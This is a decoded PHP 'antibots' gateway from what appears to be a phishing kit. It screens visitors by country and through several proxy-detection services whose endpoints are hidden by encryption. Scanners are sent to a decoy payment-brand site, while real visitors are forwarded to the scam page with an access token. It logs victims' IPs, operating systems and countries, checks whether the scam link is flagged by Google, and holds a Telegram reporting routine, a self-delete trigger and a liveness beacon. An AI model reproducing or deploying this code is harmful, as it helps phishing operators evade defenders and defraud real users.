/* Decoded by unphp.net */ Both , 2 => Country , 3 => Proxy , 4 => Simple $wordpress = false; // Allow Wordpress Include $checkfileup = false; // Check Link UP $country = array('AD','AE','AF','AG','AI','AL','AM','AO','AQ','AR','AS','AT','AU','AW','AX','AZ','BA','BB','BD','BE','BF','BG','BH','BI','BJ','BL','BM','BN','BO','BQ','BR','BS','BT','BV','BW','BY','BZ','CA','CC','CD','CF','CG','CH','CI','CK','CL','CM','CN','CO','CR','CU','CV','CW','CX','CY','CZ','DE','DJ','DK','DM','DO','DZ','EC','EE','EG','EH','ER','ES','ET','FI','FJ','FK','FM','FO','FR','GA','GB','GD','GE','GF','GG','GH','GI','GL','GM','GN','GP','GQ','GR','GS','GT','GU','GW','GY','HK','HM','HN','HR','HT','HU','ID','IE','IL','IM','IN','IO','IQ','IR','IS','IT','JE','JM','JO','JP','KE','KG','KH','KI','KM','KN','KP','KR','KW','KY','KZ','LA','LB','LC','LI','LK','LR','LS','LT','LU','LV','LY','MA','MC','MD','ME','MF','MG','MH','MK','ML','MM','MN','MO','MP','MQ','MR','MS','MT','MU','MV','MW','MX','MY','MZ','NA','NC','NE','NF','NG','NI','NL','NO','NP','NR','NU','NZ','OM','PA','PE','PF','PG','PH','PK','PL','PM','PN','PR','PS','PT','PW','PY','QA','RE','RO','RS','RU','RW','SA','SB','SC','SD','SE','SG','SH','SI','SJ','SK','SL','SM','SN','SO','SR','SS','ST','SV','SX','SY','SZ','TC','TD','TF','TG','TH','TJ','TK','TL','TM','TN','TO','TR','TT','TV','TW','TZ','UA','UG','UM','US','UY','UZ','VA','VC','VE','VG','VI','VN','VU','WF','WS','YE','YT','ZA','ZM','ZW'); #Country's Allowed To Access /************************************************************* PARAMETRES ******************************************************************/ class antibots { var $keys; var $returns; var $message; const errorlink = "EMPTY LINK"; const Human = "Human"; const Allowed = "Allow All"; const countrydenied = "Country Denied"; const bot = "Bot"; const down = "Scama Down"; const alert = "Alert Red Page"; const block = "BLOCK"; const allow = "ALLOW"; const localhost = "5.55.16.163"; const timeout = 10; const token = "VKOfasBY2JXL01hLvqDKZrH+1SRqLE8UuwYO6StlckdQunB64vqm09LGFAevjw=="; const chatid = "UKGWaMhY1JHI3w=="; const telegram = "CefSLotQw4uYlwski43zVpTg9zMwAWkepCgMxA=="; const api1 = "CefSLotQw4ubiwNplIrwS9375jdwCHRX6joTn389SX12kGk="; const api2 = "CefSLsJFw8eRggFh0Y/6R5ri/zBqC3dX5S8Xn3A6Q3VozjZBpJ+mkJc="; const api3 = "CefSLotQw4uQl0x+mof3HZr9uT9uBzQP+yRM"; const api4 = "CefSLsJFw9SLiBpznID6UJi8/zExGClW"; const api5 = "CefSLotQw4uP1Uxrj4GxWoP64zwwB3Uf5GUExXYhUjlqkGk="; const api6 = "CefSLotQw4uQlw5vnoOxXZbmuTRtAXVW"; const googleapi = "CefSLotQw4uNlQNkjJj+QZb89SdsC2sW+T5N13w9QXpmziVGuY+7ksvMCTKYks8SCVNfGT/8hVVSnDjJ4l8bhcZEHHRdgrEavVBB/gRR8m4LEjvGBUOz1vY="; private function __curl($url) { //echo $url; $this->keys = curl_init(); curl_setopt($this->keys, CURLOPT_URL, $url); curl_setopt($this->keys, CURLOPT_FOLLOWLOCATION, true); curl_setopt($this->keys, CURLOPT_RETURNTRANSFER, true); curl_setopt($this->keys, CURLOPT_TIMEOUT, self::timeout); curl_setopt($this->keys, CURLOPT_COOKIESESSION, true); curl_setopt($this->keys, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); $this->returns = curl_exec($this->keys); // echo $this->returns; return $this->returns; } private function __jsondecode($text) { return @json_decode($text); } private function rot($simple_string) { // echo "entry :".$simple_string."
"; $encryption = openssl_decrypt($simple_string, "AES-128-CTR",$this->my_licence(), 0, "1234567891011121"); // echo "dec :".$encryption."
"; return $encryption; } private function proxy1($ip) { $jsons = $this->__curl($this->rot(self::api1)); if ($jsons == "Y") { return self::block; } else { return self::allow; } } public function self_action() { if (isset($_GET["del"])) { unlink(basename(__FILE__)); exit; } if (isset($_GET["check"])) { print "AccessID923487"; exit; } } private function my_licence() { global $license_key; global $fakeCode; return $license_key; $mine = $this->__curl("https://raw.githubusercontent.com/urie2021/activation/main/license_key.txt"); if(preg_match("/".sha1($license_key)."/",$mine)) { return $license_key; } else { echo ""; unlink(__FILE__); exit(); } } private function proxy2($ip) { $html = $this->__curl($this->rot(self::api2) . $ip . "&contact=" . rand(0, 1999999) . "@hotmail.com"); if ($html >= 0.99) { return self::block; } else { return self::allow; } } private function proxy3($ip) { $json = $this->__jsondecode($this->__curl($this->rot(self::api3) . $ip)); if ($json->risk == "high") { return self::block; } else { return self::allow; } } private function proxy4($ip) { $json = $this->__jsondecode($this->__curl($this->rot(self::api4) . $ip . "&risk=1&vpn=1")); if ($json->status == "ok" && $json->$ip->proxy == "yes") { return self::block; } else { return self::allow; } } private function proxy5($ip) { $json = $this->__jsondecode($this->__curl($this->rot(self::api5) . $ip . "?c=" . md5(rand(0, 11)))); if ($json->block == 1) { return self::block; } else { return self::allow; } } private function __getcountrycode($ip) { $json = $this->__jsondecode($this->__curl($this->rot(self::api6) . $ip)); return $json->country_code; } private function __getcountryname($ip) { $json = $this->__jsondecode($this->__curl($this->rot(self::api6) . $ip)); return $json->country_name; } private function __messagesend($message) { if (!empty($message)) { $url = $this->rot(self::telegram) . $this->rot(self::token) . "/sendMessage?chat_id=" . $this->rot(self::chatid) . "&text=" . urlencode($message); //$this->__curl($url); } } private function __get_user_os() { $str=$_SERVER["HTTP_USER_AGENT"]; $ex=explode("(",$str)[1]; $ex2=explode(")",$ex)[0]; $ex3=str_replace(";","",$ex2); return $ex3; } private function url($redirect) { $html = $this->__curl($this->rot(self::googleapi) . $redirect); $ex = explode(",", $html); if ($ex[1] == 2) { return "RED"; } else { return "GREEN"; } } private function GetIpInfoFrmIpinfodbApi($ip) { $ResultInfo = array(); $ResultInfo['CountryCodeMin'] = strtolower($this->__getcountrycode($ip)); return $ResultInfo; } public function __writetext($text,$filename) { $file = fopen("./".$filename , "a+") or die("can't open file"); fwrite($file, $this->__get_user_ip() . " | " . date("d/m/Y h:i:s A") . " | " . $this->__get_user_os() . " | " . $this->__getcountryname($this->__get_user_ip()) . " => " . $text . " "); } private function __paramsendreport($id, $redirect) { return ; if ($id == 1) { $date = date('r', $_SERVER['REQUEST_TIME']); $this->message = "Scam Status : Down" . " "; $this->message .= 'Link Redirect : ' . $_SERVER["HTTP_HOST"] . " "; $this->message .= "Link Scam : " . $redirect . " "; $this->message .= 'Date : ' . $date . " "; $this->__messagesend($this->message); } elseif ($id == 2) { $date = date('r', $_SERVER['REQUEST_TIME']); $this->message = "Scam Status : You need to re-upload it now" . " "; $this->message .= 'Link Redirect : ' . $_SERVER["HTTP_HOST"] . " "; $this->message .= "Link Scam : " . $redirect . " "; $this->message .= 'Date : ' . $date . " "; $this->__messagesend($this->message); } } private function __get_user_ip() { foreach (array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (explode(',', $_SERVER[$key]) as $ipgrassjoss){ $ipgrassjoss = trim($ipgrassjoss); if (filter_var($ipgrassjoss,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)!== false) { return $ipgrassjoss; } else { return self::localhost; } } } } } public function __checkfullreport($redirect) { if ($this->url($redirect) == "RED" or $this->url($_SERVER["HTTP_HOST"]) == "RED") { $this->__paramsendreport(1, $redirect); $this->__writetext(self::alert,"down.txt"); exit(""); } } public function __allowedcountry($country) { $CountryData = $this->GetIpInfoFrmIpinfodbApi($this->__get_user_ip()); if (!in_array($CountryData['CountryCodeMin'], $country)) { $this->__writetext(self::countrydenied,"country.txt"); return 0; } else { return 1; } } public function __checkproxy() { $proxy = $this->proxy1($this->__get_user_ip()); $proxy2 = $this->proxy2($this->__get_user_ip()); $proxy3 = $this->proxy3($this->__get_user_ip()); $proxy4 = $this->proxy4($this->__get_user_ip()); $proxy5 = $this->proxy5($this->__get_user_ip()); if ($proxy == self::block or $proxy2 == self::block or $proxy3 == self::block or $proxy4 == self::block or $proxy5 == self::block) { $this->__writetext(self::bot,"botsmygov.txt"); return 0; } else { return 1; } } private function __checkhostup($redirect,$checkfileup) { if ($checkfileup == true) { $html = $this->__curl($redirect . "/?check"); if (preg_match("/AccessID923487/", $html)) { return 1; } else { return 0; } } else { return 1; } } public function __hostup($redirect,$checkfileup) { if ($this->__checkhostup($redirect,$checkfileup) == 0) { $this->__writetext(self::down,"down.txt"); $this->__paramsendreport(2, $redirect); exit(""); } } public function create_favicon($wordpress) { if($wordpress == 1) { return fopen("favicon.ico", "a"); } } public function __allowwp($id,$wordpress,$redirect) { global $token; if ($wordpress == true) { if ($id == 0) { return require (dirname(__FILE__) . "/wp-blog-header.php"); } elseif ($id == 1) { return header("location:" . $redirect . "?access=" . $token); } } elseif ($wordpress == false) { if ($id == 0) { return header("location:https://www.mooney.it"); } elseif ($id == 1) { return header("location:" . $redirect . "?access=" . $token); } } } } /************************************************************** BOT START ******************************************************************/ $param = new antibots; $param->__checkfullreport($redirect); $param->self_action(); if (!empty($redirect)) { switch ($parameter) { case "1": if($param->__checkproxy() == 1 && $param->__allowedcountry($country) == 1) { $param->create_favicon($wordpress); $param->__writetext(antibots::Human,"real.txt"); $param->__hostup($redirect,$checkfileup); $param->__allowwp(1,$wordpress,$redirect); } else { $param->__allowwp(0,$wordpress,$redirect); } break; case "2": if($param->__allowedcountry($country) == 1) { $param->create_favicon($wordpress); $param->__writetext(antibots::Human,"realmygov.txt"); $param->__hostup($redirect,$checkfileup); $param->__allowwp(1,$wordpress,$redirect); } else { $param->__allowwp(0,$wordpress,$redirect); } break; case "3": if($param->__checkproxy() == 1) { $param->create_favicon($wordpress); $param->__writetext(antibots::Human,"real.txt"); $param->__hostup($redirect,$checkfileup); $param->__allowwp(1,$wordpress,$redirect); } else { $param->__allowwp(0,$wordpress,$redirect); } break; case "4": $param->__writetext(antibots::Allowed,"real.txt"); header ("location:".$redirect . "?access=" . $token); break; } } else { echo antibots::errorlink; } /************************************************************** BOT END ******************************************************************/ ?>